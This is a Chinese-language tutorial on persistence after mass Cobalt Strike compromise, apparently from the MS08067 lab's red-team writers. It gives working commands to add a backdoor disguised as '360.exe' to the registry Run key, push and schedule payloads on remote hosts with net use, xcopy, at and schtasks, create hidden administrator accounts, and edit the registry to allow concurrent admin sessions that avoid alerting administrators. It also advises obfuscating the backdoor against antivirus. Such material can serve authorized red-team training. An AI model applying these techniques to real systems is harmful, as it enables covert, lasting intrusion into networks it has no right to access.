Skip to content

Latest commit

 

History

History
252 lines (107 loc) · 10.8 KB

CobalStrike 批量上线后的权限维持和信息收集~.md

File metadata and controls

252 lines (107 loc) · 10.8 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

出品|MS08067 实验室

本文作者:BlackCat(Ms08067 内网安全小组成员)

BlackCat 微信(欢迎骚扰交流):

前言:

昨天做 CS 批量上线的时候发现,内网渗透的本质都是信息收集,也就是收集各种账号密码,一旦有了密码,这个系统也就不攻而破了。然后就在网上以及查阅资料中,整理了以下的搜集姿势。

权限维持:

比如通过钓鱼邮件,批量获取了一批上线机器,但是我们不能第上来就进行其他主机的渗透,第一步应 该进行维稳加固。

维稳方法一:加入出册表自启动

之所以放入注册表中,是由于我们后期的操作可能需要一个正常用户权限的 shell, 因为有些操作必须在对应的用户权限下才能正常进行,比如 wmi,schtasks,net user, 截屏,键盘记录等等。。

在网上翻阅了一大堆的关于这个方法的资料

参考链接:

网上大佬的脚本方法我没能实验成功,就算成功了,上传会不会被杀也不一定,所以我选择了最保守的 方法利用 beacon 执行 cmd 的命令来修改注册表:

这里用到了 reg 命令:eg 命令是 Windows 提供的,它可以添加、更改和显示注册表项中的注册表子项信息和值。

首先我们要知道,注册表里开机自启动的目录是什么:

Win+R 执行 regedit 后依次打开以下目录

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

这样就能看到开机自启动的内容都有什么:

这个在 cmd 中的命令为

REG query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run# 显示这个目录下的所有的值

在 beacon 中执行就是前面加个 shell

可以看到成功执行:然后下一步就是添加我们的后门程序到这个目录下,个人经验,感觉这里尽量稍稍 伪装一下自己的后门程序名,有的管理员安全意识高的可能会查看,这里我把它改为 360.exe

然后通过文件浏览器,把这个后门上传上去,但是一定要做好免杀,这里我上传到了 "C:\Windows\Temp" 目录下:

语法为:

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\run" /v【启 bai 动名】/d "【启动路径】"/f 替换

上面这个会对所有用户生效,如果只想对当前用户生效,把 HKEY_LOCAL_MACHINE 改为 HKEY_CURRENT_USER 就可以了。

REG add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v 360 /d "C:\Windows\Temp\360.exe" /f

然后在 beacon 中执行:

然后去被控机上面看是否生效:

成功了 。。还有⼀条删除命令:

REG delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v 360 /f #删除 360 这个进程

最后我先在 cs 上下了这台机器,然后重启了下这台机器,重启后发现 cs 直接上线,所以这步我们就此告—段落。

REG query"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"# 显示这个目录下的所有的值 REG add"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"/v360/d"C:\Windows\Temp\360.exe" /f #把上传的后门程序设置成开机自启动 REG delete"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"/v 360/f #删除自启动

维稳方法二:加入高权限组执行计划任务

一般情况下我们获取的 CS 后门权限都是 administrator 的,

但是我们后期要弹 system 的 shell 时候,或者和域内 DC 机通讯的话,还是需要 system 权限的。最简单的提权

执行完后会新上线一台机器权限为 system,提权成功。

但是慢慢发现,有的时候,system 权限并虽然高,但是感觉还是不适合我们操作,有些命令还是 administrator 权限执行可以,比如 wmi,schtasks,netuse r, 截屏,键盘记录等

这里就在继续说一下

维稳方法三:Windows 的计划任务(schtasks)

简介:

计划任务,顾名思义,指定时间做指定的事情,对 windows 来说可能是执行脚本,也可能是 exe。计划任务的利用不仅仅在横向渗透中,也可以是在权限维持。

利用前提:

  1. 必须通过其他手段拿到本地或者域管理账号密码

  2. 若在横向渗透过程中,要保证当前机器能 netuse 远程到目标机器上

  3. 目标机器开启了 taskscheduler 服务

测试:

对于 XP 或者 2003 以下的机器,基本都是用 at 来管理本地或者远程机器上的计划任务。这里没有搭建 03 的机器,就简单的列一下命令,解释一下。

ne tuse \192.168.1.101\admin$ /user:"administrator" admin #netuse 连接

net time \192.168.1.101 #查看远程主机时间

xcopyc:\payload.exe \192.168.1.101\admin$\temp 

拷贝 payload 至 0 远程主机对应目录下

at\192.168.1.10119:30 /every:5,10,15,20,25,30c:\windows\temp\payload.exe

#设定计划任务,每月 5,10,15,20,25,30 日的 19:30 执行命令运行 payload

设置完计划任务后可以通过以下命令查看:

at \192.168.1.101

删除任务的话只需要加上参数 / delete 即可。这样会在指定日期的晚上七点半返回一个会话。

在 win7 后的版本就有了个新的功能,schtasks 计划任务:

比如我要在十点后启用这个这个后门。

schtasks/create /tn "360"/trC:\Windows\Temp\360.exe /sc DAILY /st 10:00

/tn 任务名(自定义)/tr 目录,也可以是执行的命令
schtasks/query /tn 360/v schtasks /query|findstr "360"
#查询创建的任务       
schtasks/run /tn 360
#立即运行创建的任务  
schtasks/delete /tn 360
#删除任务

参考:

说了这么多,感觉比较麻烦,那我们直接运行不就好了么,其实不然,有些安全软件,会识别你的行为,阻止你去执行某些操作,但是计算机执行的操作则不会被拦截,所以也常用于内网中的 bypass。

维稳方法四:创建隐藏用户

简介:

隐藏用户也叫影子用户,创建一个无法用用户本机用户罗列工具显示的用户,并且赋予管理员权限。所有操作需要有管理员权限。同时测试在 windowsserver 2012 服务器域环境下影子账户无法直接进行添加。

详细操作步骤参考网上资料;

维稳方法五:多地登陆管理员账号不被发现

这个是我一个朋友告诉我的方法,他在护网时候权限丢失就是远程登陆 administrato r 账号的时候,被管理员发现,然后关机了,导致权限丢失,那么如何解决这个问题。这个执行起来也很简单

还是修改注册表:

首先线以此打开注册表中的文件

\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\fSingleSessionPerUser

双击打开这个文件,看里面的数值数据为 0 还是 1

为 1 是不允许多地远程,

为 0, 是允许 03 以上的系统基本上默认都是为 1 不允许所以这里就需要我们更改这个

之后再多个终端远程这台主机就不会有提示了。

总结:

我这里只是简单介绍了一些 CS 的简单使用,没有涉及到各种杀软的绕过,CS 的提权插件以及内网主机搜集插件等,还有就是 CS 后门免杀技术。我也在正在学习后门免杀技术,后续如果可能在做分享。

维稳方法还有很多,这里就先介绍这些吧,CS 上线只是内网渗透的一个开始,本人也是初学者,文中如果哪里存在纰漏,敬请大佬们批评指正。

内网小组持续招人,扫描二维码加入我们!

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

 

**目前 35000 + 人已关注加入我们
**